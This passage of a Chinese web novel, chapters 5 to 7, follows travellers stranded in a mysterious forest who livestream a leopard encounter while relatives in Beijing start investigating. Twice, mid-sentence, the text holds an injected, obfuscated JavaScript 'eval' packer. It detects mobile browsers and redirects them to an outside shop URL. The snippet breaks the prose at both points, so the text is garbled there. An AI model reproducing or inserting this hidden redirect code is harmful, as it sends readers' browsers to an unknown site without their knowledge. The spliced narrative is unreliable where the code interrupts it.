是训练过的吧? 假的! 拜托找好点的演员,唱的嗓子快劈了。 这也太假了吧! 哎呀!你们还好吧? 哈!真有人信! 小仙子,保重啊! 李桥镇的张玉玲,你好吗?我一直没法忘了你。不给彩礼你就不嫁给我吗? 这是谁呀?你进错房间了吧?骗婚交流请进隔壁间。 小仙女!你们现在怎么样啦?快告诉我们呀。 还真有上当的! …… 5. 第 5 章 汽车里何牧气得哆嗦,要抢被陆锐拿着的手机,何牧喊:“你发弹幕,让她往下面讲啊!讲她们现在怎么样了!” 陆锐一直在认真地看女网播,分析她是不是在撒谎,他也不眨眼地看了女主播切播的两段视频,发现视频里的景物的确是同一类型的。他抬手阻开何牧的打扰,慢慢地打了一个弹幕:“现在你们打算怎么办呢?” 吕容看着弹幕努力不露出负面情绪,她叹了口气:“家人们,刚才的视频大家也看了,我们的周围看着是有救援的样子吗?而且我们的车现在动不了……” 弹幕: 真的吗? 怎么动不了的? …… 吕容往外看,发现那些去水边的人们正往回走,吕容说:“这样吧,我们下车去给你们拍一下车底下,如果有会修车的家人,能不能帮着看看。” 弹幕: 不要啊,小仙子,外面有豹子。 让我们看看,真的假的呀。 也许有人能帮着修车呢。 别切断,不要作假! …… 吕容把手机杆递给秦莉说:“你拿着拍我,别开车门,我们从司机那个门下去。” 秦莉对身边的女儿说:“宝贝,妈妈下车,一会儿就回来,你一定要在车里等妈妈。” 何牧刚开始叫唤,陆锐就打出了弹幕:“让我们看看小可爱!” 何牧喊:“录屏录屏!” 陆锐绷紧肌肉才没让何牧的手指掐入自己的肉中。 吕容在交出手机时再看了眼弹幕,微笑:“我们的车里可爱的小朋友!来,跟大家说声好。” 她把手机递给秦莉,示意秦莉去拍小女孩,秦莉习惯地犹豫了一下,可想到回不去了,为何不让大家看看自己可爱的女儿?就给了女儿一个大头镜头。 小女孩怀里抱着个长耳朵的兔子玩偶,小天使般的容颜似笑非笑,大眼睛亮亮的,秦莉小声说:“宝贝,说大家好。” 小女孩轻声说:“好。” 弹幕: 哇!好可爱! 真是小宝贝啊! 无耻!让小孩子来帮着挣钱! 没有侵犯孩子的肖像权吗? …… 何牧哭叫:“宝宝!我的宝贝啊!” 陆锐皱了眉头:“先看完再哭。” 吕容示意让秦莉拍自己,她到了司机的座位上,开门下了车,秦莉也随她下车,画面颠簸但没有断。 吕容指着汽车的侧面说:“现在我们就看看为什么这汽车没法开了。”她接过秦莉的手机,前置相机先拍了下自己,然后弯腰蹲下,用后置相机细致地拍了车子下面的情形。 弹幕上一片: 看着是不能开了! 是撞断了棵树然后被残枝卡住了。 哈哈,树的报复! 就是,这就是因果,你要了我的命,你也别走了。 …… 吕容看到这些差点气懵,她索性不看了,把手机交给秦莉,让她拍着自己走到李夏身边,挽了李夏的胳膊,笑着看手机:“这位是北京人,记者姐姐,她把我们喊回车,救了我们的命。姐,你说两句。” 李夏介绍自己:“大家好,我叫李夏,是xx杂志社的记者。” 弹幕: 完全没听过这个杂志社! 现在是不是随便就能注册个杂志社? 谁还看杂志?这个时候还有杂志社? 北京人?这是普通话,不是北京话,北京话有明显的卷舌音,这又是个冒充的吧? 北京人许多讲普通话,机关大院出来的只讲普通话,那些巷子胡同的人才讲老北京话,懂什么呢你! …… 但此时是秦莉在拍摄,李夏和吕容都看不到弹幕,所以不受影响。 李夏说道:“如果大家想知道我们的状况,可自己做一下调查。先看看我们的汽车牌照……”她指了指车前方,秦莉第一次当摄影,停了半天才明白了李夏的手势,去拍了汽车的牌照。李夏接着说:“请大家帮着去查查,这辆车现在的情况。如果有人在地震现场,能不能去看看是否有冲出了公路但现在还没有被发现的车辆……”李夏忽然停了下来,眼睛看向前方,吕容也张了嘴,李夏忙说:“先别出声。” 两个人的脸色都有些苍白,秦莉看到弹幕上的话: 出什么事啦? 车牌也是可以伪造的! 就是,弄不好这些都是假的。 哎,你们怎么不说话了? …… 秦莉不明白李夏她们在看什么,下意识地转了身,可马上她就僵立在了现场。 直播间里一片哗然:画面里出现了一只豹子,正弓着身一步步地接近。 弹幕: 那是豹子吗?! 不是吧?是假的吧? 已经训练好的! 对呀,真的还能拍吗? …… 其实秦莉可没有阿强那样的敬业素质,她早就忘了拿着手机杆,更别说看弹幕了——她的全身都失去了知觉,只是恰好手机的摄像头正拍到了豹子。 豹子其实不是向她们走来,而是对着离豹子更近的三个正往车边走的男人。 三个人也发现了豹子,猛地停步。 王大栋举起了铁锹,阿强也扬起木棍,喇嘛却闭上了眼睛,低沉浑厚的嗓音唱起了一段在场谁都听不懂的带着祈请旋律的唱诵。 豹子越来越慢,好像每一步都在试探,紧弓的背部像是显示着它随时会弹跳起来。 直播间里人们都在纷纷发弹幕: 快跑啊! 不能跑,一动弹豹子就会扑人的。 他们在干什么? 假的,摆拍,让大家听喇嘛唱经! 我听着像是xx心咒,好好听! 假的,真假! 那个豹子肯定不是假的吧?是真的。 是训练好的!真的豹子早就上来咬人了! …… 但直播的现场谁都不在乎这些弹幕了,人们都像是石像般定住了,也没有人说话,只有多杰一遍遍地唱,豹子冲着多杰小步挪动,像是锁定了自己的目标。 李夏记住了发音,就轻轻地跟着唱起来,不久,吕容也小声唱,阿强也哑着声音发出一两个音。多杰的声音像是条大船乘风破浪地前行,后面跟着两三条摇晃的小破船…… 终于,豹子停了下来,离多杰只几步远。多杰还是闭着眼睛唱,像是对外界毫无所觉…… 又过了几分钟,豹子退着走了几步,转身走了,又一次消失在了树林间。 直播间的弹幕飞速滚动: 我就说是假的吧!豹子是驯熟了的! 瞎说,我记得没法训练豹子。 我觉得是真的豹子,天哪!是僧人念的咒。 不是!是摆拍! …… 秦莉的手抖了,把手机杆交给李夏:“我得去女儿身边。”她的汗把头发都打湿了,她摇晃着去开了车门,爬上了汽车。 李夏理解地接过手机,对向那三个男人,吕容已经跑过去了:“阿强!吓死我了!呜呜,你们离豹子那么近……”上次是在汽车里看到的,这次在现场旁观,真太紧张吓人了! 她过去直播都不会暴露阿强——一个成功的女主播要保持自己是单身的假象好引着男的打赏,可现在真顾不上这些了! 有钱也得先有命花啊!她的阿强比什么都重要。 李夏边拍边看着直播间的反馈: 啊!小仙子的男朋友! 小仙子,祝贺你们! 如果这是为了表白的摆拍,那可够费心思的。 不会吧,她不是单身吗? 那刚才的豹子是真是假? 该是真的吧?你看她吓得。 假的,就是为了秀恩爱!真没意思! 小仙子,你们要小心啊!别出来了。 …… 李夏觉得也许自己不该暴露吕容的隐私,忙把手机转向多杰,以为自己提前进化到了视频记者的段数,她问多杰:“你刚才害怕吗?” 多杰睁了眼睛,好像有些懵懂,半晌才说:“怕。”然后就不再说话,转身找了块空地,对着天空双手合十——开始五体投地大礼拜! 这采访无法继续了。 李夏认为自己第一次做新时代记者的尝试很失败,就把手机杆交给阿强,一抬胳膊时才发现,自己的腋下要腰际全湿透了,凉风嗖嗖的。 阿强作为专业摄影师,马上就将手机对着吕容。 吕容花容惨淡,强打着精神说:“家人们,老铁们,谢谢你们的关心和关注,大家帮帮我们,给我们些建议哈,怎么修车,怎么在野外生存,我们旁边的植物里有什么能吃的……家人们,拜托你们了!今天的直播就到这里了,明天早上十点再见了,我得休息一下。”说完发现直播间里有上千人了,她过去一天有两三次直播,只要有人就会继续下去,可她实在没有精力了,虚脱了一般,等阿强放下手机,她又上去环了阿强的手臂,几乎吊在阿强身上,两个人往车那边走。 王大栋因为一直有铁锹在手里,心理上的冲击就没有别人那么强烈。如果他知道以豹子的凶狠和迅捷,他的铁锹没碰到豹子就会被撕开了喉咙,他大概就不会这么淡定了。无知就能无畏!他拿着铁锹一直守在大礼拜的喇嘛身边,直到喇嘛拜够了起身,两个人回到了汽车旁还在烧水的李夏旁边。 阿强和吕容也等着没上车,人多势重嘛! 李夏想到自己刚才在直播间说了名字,有人大概会找自己,就赶快给组长老王打电话。 接通了电话后李夏说:“老王,我原来以为我们只是出了车祸,可到现在了还没见到救援人员,我们也不知道现在何处了,反正真很奇怪,您能不能跟警察联系一下,看是不是能找到我们。” 老王不懂:“你在说什么小李?你再说一遍。” 面对从事了新闻工作几十年的老油条,李夏深知不能给对方任何结论,只咬死说:“老王,我们的车从石岩边冲出去了,后来落地就像是到了森林里,我们手机还有信号,但就是没有救援,哦,我们还看到了豹子。” 老王疑惑:“豹子?你去的地方别说豹子,连只黄鼠狼都没有了,现在哪里有森林,都是人工造林了。” 李夏忙说:“是啊是啊!老王,我也不知道是怎么回事啊!您快报警吧,来找我们。” 老王有些勉强:“报警的话,我要请示一下社领导。” 李夏忙说:“老王,我有您的微信,一会给您传些视频和照片,另外我们同车有网播,叫旅游小仙子,我也微信给您链接,您有空看看那些直播回放,她明天也有直播,您能随时知道我们的情况。” 吕容与有荣焉地笑了——专业记者竟然推荐了自己! 老王不快:“竟然能直播?那不就是在旅游吗?报什么警?” 李夏哀求:“老王,王大爷!我们到现在都没有救援啊!周围还有豹子!我们在用小盆烧水,还不知道有多少吃的,我可是您手下的记者,饿死了怎么办?出了事怎么办?您得救我啊!” 老王皱眉:“你告诉你父母了吗?” 李夏坚定地说:“没有!我哪里敢?我只能指望您了!” 老王以为她是不想让父母担心,就点头说:“好,我看看你发的东西,如果需要报警,我会报警。” 李夏忙给老王发了阿强拍的路尽头的小溪和豹子的视频还有几张照片,外加直播链接。 老王仔细看了,半信半疑,起身去了社长办公室,“社长,我们组有位记者出差时不知下落了,是不是可以报警?” 这话说的,听着当然是要报警啊!不然找不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338292|199270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到出事了是谁的责任?从社长办公室出来,老王就报警了:“警察同志,我们是xx杂志社,有位记者同志遇到地震,车子冲下石岩后到现在也不知位置,请帮忙寻找,哦,具体情况是这样的……” 李夏这边挂了电话,出了口气。 王大栋羡慕地说:“恁真会!他能听恁的,俺跟俺爸妈说,他们说俺疯了,说俺是偷开了车去了邻县……虽然俺过去干过这事,但这次我没做他们还是信不过俺!” 吕容和阿强都没说话——她早就逃开了家,自然不会让家里知道她的情况。而阿强是被父母赶出来的,几年没有与家里联络了。只有喇嘛又拿出手机,哇啦哇啦地打电话,跟以前一样,到后期就只听着那边的训斥变得垂眉低头不讲话了…… 吕容都退了直播间里的弹幕都没有停: 真的假的呀! 豹子是不能被驯服的! 当然能,你看那些阿拉伯人就有豹子当宠物的! 那得多贵啊!我刚才查了,豹子要吃鲜肉,有大场地跑圈儿的,可费钱了。你觉得小仙子有钱租到那豹子? 我觉得那是个真的僧人。 真的僧人会答应摆拍吗? 当然会,给钱就行。 给钱就不会找这样的,他的普通话说的不好。 他才说了一个字你就知道不好? 当然,一听就知道。 不是说小仙子没钱吗? 就是,你看她穿的衣服都特别廉价,直播都没有摄像头,只有手机。 别说僧人坏话,会造口业。 反正我觉得这事很奇怪。 我觉得小仙子是真遇到麻烦了。 先去查下那辆车吧! 就是那个记者说的? 先去查下那个记者吧! 这个年月是个人就能自称记者。 …… 陆锐沉思着退出了直播,何牧一把抢过手机拨了号,一通后他刚问了句:“你还好吗……”那边就传来了低低的哭泣声,何牧在陆锐面前咿哩哇啦大呼小叫,但此时却沉稳了:“老婆,别哭,我会想办法的!” 那边哭泣的声音:“我……我不能死,我死了,女儿怎么办?谁来照顾宝宝……” 何牧含了泪,语气真挚地说:“你不会死的,我去找你们,你别担心,我去找你们。……” 陆锐尽量屏蔽何牧比言情小说还腻歪的言辞,打开车门出去了。 他深深地吸了口气,回想方才的直播。 那个女记者是假的吗?他觉得弹幕说的对,可以先去查一下这个人,先看看这个人是不是存在,再看看这个人是不是也失踪了。另外那个车牌也可以调查一下…… 过了一会儿,何牧从车里出来了,他看着冷静了许多,对陆锐说:“我回去就会请假,先去一下那个现场,看能不能找到那辆车,那车是在哪儿出的事……”他停住,然后说:“我说去找她们不是闹着玩的,她说既然手机有信号,那通道就还是开着的,我要试试。” 陆锐横眼看过去:“怎么试?开着车越过石岩?” 何牧眼神躲闪不回答,陆锐说:“怎么也得建个什么,一次次去试。” 何牧看陆锐:“所以你完全相信了?” 陆锐缓缓摇头:“不,我得去找人,找物理学家……” 何牧打断:“我等不了了,她们都是去旅游的,能有多少吃的……” 陆锐说:“我知道。你现在就去请假,这种直系亲属出事的情况,我想应该能批,你去现场,我在这边联系人……” 何牧激动地拥抱陆锐:“兄弟!你是我最好的兄弟!” 陆锐皱眉推开何牧:“你不要干傻事!” 何牧郑重点头:“只要她们活着。我老婆说的对,我不敢死。我死了,谁照顾她们?你看了那些弹幕了吗?那个女孩子一次次叫家人们,可没有谁真的是像家人一样。” 陆锐说:“那些人能看直播已经是对他们最大的支持了。” 何牧想了想点头说:“是啊,已经算是支持了。我赶快回去。” 陆锐又叮嘱了一句:“记得把录屏的视频发给我,以前其他那些也都发给我。” 何牧连声答应了,陆锐开车将他送回了军营就往自己驻扎地开。 可开着开着,陆锐找了路边的一个空车位停了下来。他现在理解何牧为什么要歇斯底里地要与他见面谈,他可以想象如果他打个电话,开口说一句:“有人去了异空间……”对方肯定也会建议他去军医院挂精神科的号,弄不好他现在作战参谋的职位也保不住了——军队是绝对不会允许一个有精神病症状的人来参与战略方案的! 他也得请假,可要用什么理由呢?军队批假的急事一般都是家里人出事了什么的,他的家人都挺好的,只好……走后门了! 陆锐打通电话:“妈,我有急事马上要回北京,您让爸帮我安排一下。” 电话里的声音很关切:“你自己没事吧?” 陆锐摇头:“我很好,我现在就回去请假,差不多会有二十来分钟。” “好好,你订好了票,是飞机还是高铁赶快告诉我,我让司机去接你。” 陆锐点头:“不用了,我直接叫个车就行了。哦,还有,让爸帮我联系个中科院或者大学里的物理方面的专家,最好是有名望,真正的专家,帮我安排明天见一下,越早越好。再让人帮我查个人,xx杂志社的记者李夏,这个人现在是不是在北京,是不是出差失踪了。” “好好,我记下了,可你回来要先到家里吃饭,让我看看你……” “嗯嗯。” “你去忙,别急,妈帮你。” 陆锐微笑:“妈,谢谢。” “跟妈瞎客气什么,早点找个女朋友……” 陆锐的笑容消失:“妈,我开车了。” “好好,你小心驾驶。” 6. 第 6 章 北京军区某军队高干家属的楼区里,一个头发花白的妇女一改方才的温柔语气,冲着电话大吼:“老头子!快安排锐锐回来,他只给了二十分钟,他要马上回京,你给他请假!” 刚刚开完会的一个面容严肃法令深刻的老人皱眉头:“胡闹!” 电话里的声音尖叫了:“什么胡闹?!这是锐锐头一次要求这样,肯定出了事了!他说他自己没事,可他明天就要见一个中科院的物理学家或者大学教授,你也赶快让人安排上!快点快点!我得去买东西,锐锐好不容易回来一趟,我和保姆出门了!”说完电话就挂了。 佩戴着上将军衔的老军人陆定昆思索了半晌,扭头对身后的军人说:“你马上帮陆锐请假,他需要立刻回京。哦,也联系一位中科院的物理学家或者大学教授,定个明天的见面。”身后的人立正答是。 虽然这有悖规则,但老人相信自己的儿子。这个儿子天生是军人之才,从小就对军事着迷,不是个拿军队当儿戏的人。儿子既然开口了,还这么急迫,那也肯定是有真的重要的事情。儿子通过一向溺爱孩子的老妻告诉自己,说明儿子现在不想花口舌跟自己解释。这个……陆定昆竟然骂不出“混蛋”这样的话,在他心里,他对这个儿子其实很尊重。他暗叹了口气——陆锐最好真的是有重要的事情,不然自己这么为他请假可是不对的。 为儿子回京的亲自下场去挑拣海鲜的葛红霞才不会花心思去想老头子的忧虑:儿子从小就不让人操心,他想干的事情一定是对的!自己只管做好吃的就行了! 年轻时的葛红霞是个军队医院的小护士,俏丽活泼。查房时查到了有着万年铁树心的陆军官,为他例行换点滴和询问病情。当时陆军官正在发着高烧,浑身疼痛,可能是因为陆军官平时很少病,偶尔这么一次被病魔打趴下了,身心实在不适应,脆弱了片刻,铁树难得地开了朵小桃花,落在了小护士身上。 陆军官虽然年纪大了小护士许多,但小护士觉得这位军官很可靠,就拎个包嫁了,当年不讲什么彩礼嫁妆之类的,成婚后,小护士继续上班,陆军官从军,开始时每年才回来几次。 谁都没想到这个山中走出来的壮族战士因在Y战中机智勇敢,又好学习,一路提升,最后作为少见的有过战事经历的将官进入了领导层,小护士也成了首长夫人。 葛红霞生了一个女儿,因丈夫是壮族,在独生子女的年月,三十多岁又生了一个儿子。她精力充沛,干事利索,家事一把抓,陆军人得以安心为国家献身,还没有后顾之忧,儿女双全,心里踏实…… 所以,偶尔——额——经常——总是——只是偶尔!——听老婆话也是可以的吧? 葛红霞看到陆锐发来短信说已经定了高铁的票,现在正开车前往一个小时外的高铁站,忍不住暗翻白眼:利用完了妈妈就连个电话都懒得打了,这只小白眼狼宝宝!她记起陆锐的另外一个要求,就给自己的女儿打电话。 葛红霞的女儿陆慧在葛红霞看来和生了个儿子没什么两样。陆慧从小就疯狂地崇拜父亲,拒绝穿裙子或者任何有花朵树叶的衣服,只喜欢穿父亲剩下的那些蓝色绿色的外衣。长大后自己买衣服了,也是那些颜色,根本不鲜艳!在脾气上把父亲偶尔的急躁放大了十倍、百倍,一句话没说完就敢直着嗓子嚷嚷,与冷静沉稳的小儿子没一点相似之处!但话说这个小儿子在性情上不像父亲也不像感性的葛红霞,如果不是儿子在相貌上还是有父母的痕迹,葛红霞真觉得这个儿子抱错了。 女儿十二三岁就不跟母亲亲近了,说话跟吵架一样,哪里是个小棉袄?是个炸药包还差不多!所以葛红霞很珍惜青春期儿子的静默和至少表面的对父母的尊重。 女儿在选择学业上也完全不听父母的!竟然选择了历史!出乎所有人的意外,更让平时连历史书都不读的葛红霞完全不能理解!可女儿说什么她“广阔的襟怀只有历史的长河才能相配”,这是人话吗?这不是什么附体了吧? 不能理解也没办法,只能任女儿一意孤行地上了大学,然后就更没法过活了!葛红霞觉得女儿一说话,那口气里就会透露出一种“你们这些人什么都不懂”的居高临下!把她气得半死!有一次含泪冲女儿喊:“你把你妈气死了有什么好处?我和你爸是世界上唯一在意你的!” 女儿撇嘴:“这么夸张!您怎么不多读读书?有助开阔眼界和有效思维。您和我爸,两个人,怎么能说是唯一?还有,您的意思,小锐不在意我?!” 听听!她一点都不尊重父母!一般都是父母让孩子多读书,怎么到了她这里却是反了?!还是少言寡语的儿子好啊! 这个一脑袋反骨的女儿后来去考了硕士,然后考博士。 人家这么高的学历,葛红霞只好彻底认栽了,也不和女儿吵架了。 本来她以为女儿肯定会孤独终老,可女儿二十五岁时竟然开始谈恋爱,然后就对自己有礼貌了,也许爱情真的可以让人变好? 说来两个人就是自家住的大院外的街上碰上的。那个日后的女婿是个不知深浅的傻孩子,当时正好从他工作的小银行出来去吃午饭,抬眼见一位女性抱着一箱东西在街上走。大太阳下面,女子的脸红通通,都是汗。他不知道这位女性是想锻炼减肥,没告诉父母自己回来,外面的车辆不能进大院,她只是想走回家。他却以为这位可怜的妹子快支持不住了,银行里客服的习惯让他下意识地表示可以帮忙。 陆慧后来说当时见这个小白脸竟然觉得他挺好看的,就给了他箱子,告诉他自己的家在前面的街区。结果这个小白脸抱着箱子走了二十来步就累得脸更白了,大概也是因为饿的,看着就要昏过去了。陆慧不敢让他再走了,忙表示过意不去,请他在路边的饮食店吃饭喝冷饮。两个人吃完喝完,陆慧说自己已经离家很近了,不让他送了,而小白脸的午饭时间也过去了,就相互留了联络方式。确认小白脸离开了,陆慧自己才自己抱着箱子——她给母亲买的哑铃和绑脚上的沙袋,虽然母亲根本不想用——进了军事大院。 鉴于这件事,葛红霞才对女儿另眼相看,觉得女儿不是个钢镚儿愣子,多少有些女性情商。 但她还是断然拒绝了女儿急赤白脸、长篇大论地让她进行力量训练、以免老了摔倒没法爬起来的这种无理要求——我起不来你爸会来扶我啊!他是个军人,到老都会钢筋铁骨的! 那两个人交往了一年就结婚了,北京的女孩子没要彩礼,但也没说明自己父亲的职位。女婿不是军队中人,只以为读博士的老婆是军人家庭出身,军队的待遇挺好的。两个人就这么糊里糊涂地过日子,现在陆慧已经毕业在一所院校当讲师了,女婿成了银行的贷款经理,两个人有了一个女儿。 葛红霞于是改了她的偏爱!相比起大龄但依然单身的儿子,女儿真是人生赢家!生活事业双丰收,比自己以前想的过得好多了!她自然早就原谅了女儿当初把自己气得肝疼的种种行径,认为那是人家有个性!还开始经常找女儿商量事,两个人的角色好像调换了…… “慧慧呀!你帮锐锐去查个人,就是xx杂志社的记者,叫李夏。” 在办公室正翻阅资料的陆慧其实挺高兴能有个电话让自己从浩瀚的古籍中松弛一下,她问道:“这人是小锐的女朋友?”什么慧慧、锐锐,听着像个幼儿园的小朋友!妈总是这样!矮化成人!小锐就可以了! 葛红霞忙说:“不是,他说去查一下这个人是不是记者,另外是不是失踪了。唉!锐锐怎么还没有女朋友……” 陆慧忙哦了一声打断母亲的感叹,带了点儿兴趣说道:“那我这就打电话。” 葛红霞说:“锐锐说要回来一趟,有空你带着小房和茵茵也来见见他啊。”小房指的是陆慧老公,茵茵是他们的女儿。 陆慧答应了,挂了电话就在网上查了xx杂志社的号码,立刻就打了过去…… 占线! 她一连拨了七八次,都是占线。 陆慧看看表,这个点一般的单位都快下班了,好在这个杂志社就在她所在学院的附近,回家顺路,索性就去一趟。 等到每个人的水壶都灌满了开水,几个人才回到了车上。李夏见大家情绪稳定,就说:“我们把能吃的东西都拿出来,大家看看有什么。” 她自己掏了包,拿出了一小块香蕉面包,两个卤蛋,两条五谷棒还有几块巧克力。 王大栋去司机的座位旁拿出了两盒自热黄焖鸡米饭还有半袋红薯干。 吕容和阿强拿出了三包方便面还有一袋花生。 秦莉拿出的东西最多:一小罐奶粉、一盒饼干、半袋面包、一包火腿肠还有一大堆单独包装的各色饼干零食蜜饯糖果鹌鹑蛋,外加一盒果汁,两小瓶酸奶饮料……没办法,带孩子出来不就得带够吃的吗? 多杰见大家的动作就领悟了,他拿出了一个小包,打开是些粉状成团的东西,指着说:“糌粑。” 李夏一喜:糌粑是黄油和青稞做的,特别顶饿。 多杰把小包一推:“给,那个,我不吃……” 李夏说:“这些东西我建议都交给秦莉,让她来分配。我建议大家不要指望这些度日,我们需要马上学习怎么去野外捕食和搜索可以吃的植物。” 王大栋点头:“没事,这本来只够我一顿的,还是得去外面找东西才行啊,可惜我们没法吃那只豹子。” 它不吃了你就不错了。 吕容强笑:“我反正要减肥的,姐说喝水能活三个星期呢。” 阿强也说:“是的,到那个时候我们怎么也该能想出办法来了。” 秦莉本来就哭得眼睛红了,现在又眼含了泪:“我也不会吃的,就让我女儿吃。” 李夏说:“渐渐断食会舒服点,我建议今晚大家可以分一点点东西,然后明天就开始想办法找吃的吧。” 人们都点头,秦莉抽着鼻子收拾食品。 李夏的电话响了,李夏见是组长老王,就走到车的后排听电话。 老王说:“我报了警了,警察那边说要跟本地的警察局联系才行。我看了你发的那些视频和照片,也看上期的直播回放,我准备去你出事的地点看看,毕竟,我是你的上级。”这事的确有问题!就是为了写稿也得去康康! 李夏忙说:“谢谢您了!真辛苦您了!” 老王叹气:“别贫嘴了,刚才有几十个电话打进来,社长副社长全被惊动了,现在办公室的对外电话派了三个人轮流守着。后勤已经给我买了火车票,我这就出发去你出车祸的地方。可网上说那边都堵车了,好像有许多人过去,地方政府像是要阻止人们去,但我有记者证,社里开了介绍信,他们该会让我进去的。” 他省去了社长副社长都责备他没讲明白——记者没有下落不明,只是不知道自己到了哪里,让大家帮着查找,结果引起了社会的轩然大波!老王咬定自己也不知道具体,只晓得记者没有等到救援。这下社长副社长也同意他出差去调查了。 李夏感动:“老王!大爷!谢谢谢谢了!” 老王说:“你最好把这些都写下来,你看人家网播的都还直播呢,你得交稿子。” 李夏忙说:“一定一定,生命不息,写稿不止!” 老王郑重:“小孩子家别乱说!去写稿!” 李夏答应:“是!是!” 但现在最重要是找吃的好不好?李夏并没有马上写稿,而是在网上百度野外求生的内容,比如怎么设陷阱之类的。她知道现在的情形挺严峻的:她已经觉得饿了,虽然人能活三周,但一周后就会浑身无力,那时怎么去找吃的?必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338293|199270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须在身体没有垮掉之前获得食物。这种紧迫感该让她很焦虑才对,可她发现在内心深处有种平静:不仅是她到过玄幻的所在,这里的每个人都有超乎现实的经历,他们已经死过一次,不再恐惧死亡。如今只需要在活着的时候,好好做事做人。 其他人也都刷了半天手机,等天完全黑了,王大栋将珍贵的汽油浇在了一根木棒上弄出了个火把,大家集体出去方便……众人都面朝外拿着铁锹石头等警戒,独留中间的人那啥,场面很尴尬……但这就是生活! 回来后人们给手机充上电,每个人分到了一点点糌粑,都说美味无比。 李夏说火不能灭不然明天又得用打火机点火。大家搜了网络,封了火种,把火把插在了地上当路灯。然后人们有的躺在座椅上,有的躺在地板,反正很不舒服!只有秦莉翻出了个小枕头和小被子盖在了女儿身上,大人们都只能和衣而睡。可这一天太惊险了,大家紧抱着双臂,不久就都睡着了。 谁也不知道午夜后,火把熄灭,豹子又来了,围着汽车转来转去,最后睡在了汽车下面…… 陆慧开车到了杂志社附近就发现警车挡了路,她停了车下车步行前往,发现杂志社前面站了十几个人,都是女孩子们。杂志社大门关着,门外贴了张纸:“李夏同志是我社记者,出差后还没有返回,请各位安心等待,有消息后我社将告知大家。” 女孩子们议论着: 哎呀!真有个李夏呀! 人家真的是记者呢! 我就说小仙子没有说谎! 那样的话,她们现在去了哪里? …… 陆慧听得莫名其妙,既然已经得到了消息,她就给妈妈打了个电话告知结果,走回汽车开车回家了。 陆锐到北京时已经是晚上九点多了,他叫了个滴滴在大院前下了车,走进院门发现路灯下母亲正在来回走。陆锐忙跑过去:“妈!” 葛红霞笑:“哎呀!你回来啦!我正遛弯呢!” 陆锐搀着母亲的手臂:“别遛了,回家,爸在家?” 葛红霞点头抱怨:“我让你爸也下来走走,他就是不动弹!人老腿先老,他一点都不懂养生。我还指望他日后扶我呢……” 陆锐问:“老爸生气了没?” 葛红霞看路灯:“当然生气了!耷拉着个脸!晚饭只动了动筷子,因为我让保姆只放了蔬菜,海鲜和红烧肉都等着你来家再上桌……” 陆锐:这其实没帮到我。 好像知道了陆锐的忧虑,葛红霞说:“没事!咱们进门就吃饭,他如果饿了自然也会吃,吃饱了不就心情好了?哦,你让我打听的人,我让慧慧帮着问啦,她说杂志社说了,那个叫李夏的记者出差还没有回来。”她叫女儿也是慧慧,可陆锐就没什么想法。 陆锐沉默着,扶着絮絮叨叨的母亲往家走,思绪因母亲提起杂志社记者又转到了那件事上了。 他在高铁上看了近几期的直播回放,在这么短的期间作假——乘车冲下公路,然后切换到另一个有完全不同地貌的地点再次开始直播——看着不可能。可如果不是作假,这是怎么回事? 回到家里,坐在客厅沙发上的父亲果然一脸严肃,但葛红霞像是没看见,招呼着保姆:“摆饭摆菜,我去炒个大虾,锐锐去洗手洗脸,别说什么,先吃饭!” 看到儿子回来了,陆定昆也觉得可以先吃饭再讨论,毕竟饿到了儿子就不好了,好的军人需要好的体力! 于是大家不久就围到桌边,很不养生地吃了一顿太晚的饱饭! 抹干净了油乎乎的嘴,陆定昆示意儿子与自己进了书房,在宽大的书桌边对面坐了,陆定昆接过老婆递过来的淡淡的茶水,慢慢地抿了一口,就是不开口,摆足了首长的架子! 葛红霞瞪了装腔作势的老头子一眼,给儿子也递过去了茶杯,小声说:“别聊太晚,你跑了一天,累了。”说完又翻眼看一下老头,出了书房去客厅看电视去了。 陆锐自然不会跟父亲玩看谁先开口的游戏,等母亲一走,马上说:“我发现了一件我解释不了的事情。” 他大概讲了一下情况,把手机递给父亲。 陆定昆看完,语速缓慢地问道:“这事和你有什么关系?” 陆锐想起自己没提何牧把自己扯进去的过程,补充道:“我的一位军校的同学告诉了我,他的老婆女儿就在那里,他已经前往出事地点了。” 陆定昆停了片刻,再次开口:“所以?这事与你有什么关系?你是个军人。”那又不是你的老婆孩子,你连个女朋友都没有。 是啊,陆锐是个作战参谋,这事不是日常军事,不是相关战事,和他有什么关系?用得上动用上层的关系来紧急请假吗? 陆锐想了想,抬眼看父亲:“我觉得这件事情很重要。” 陆定昆再次问:“重要到什么程度?” 陆锐闭了下眼睛,也在抿心自问——重要到什么程度? 陆锐睁开眼:“我只知道我需要马上回京,找科学家谈谈,弄清楚到底发生了什么。” 等于没有回答。 陆定昆没有再问,虽然他心里不是很同意儿子的想法,但人都回来了,说什么都没用,让儿子找出真相也不是坏事,毕竟人命关天,那边的几个人怎么都该救出来才好。他告诉陆锐:“人已经给你预约好了,是一位T大学的物理学教授,明天早上九点见,讲明了是一位军人去请教些问题。” 陆锐说了声谢谢。他的确累了,和父亲说完话就洗漱了准备就寝。临睡前他躺在枕头上再次观看直播回放,几次在那个叫李夏的女记者画面上停留,他觉得这个李夏目光稳定,不像是在撒谎,看着是个大方正派的人……多想无益,明天见到教授再说了。陆锐终于扔了手机,关灯睡觉。 7. 第 7 章 汽车里,天才微微发亮,人们就相继醒了——无他,太冷了。连被妈妈抱着的小女孩何萱都睁开了眼睛。 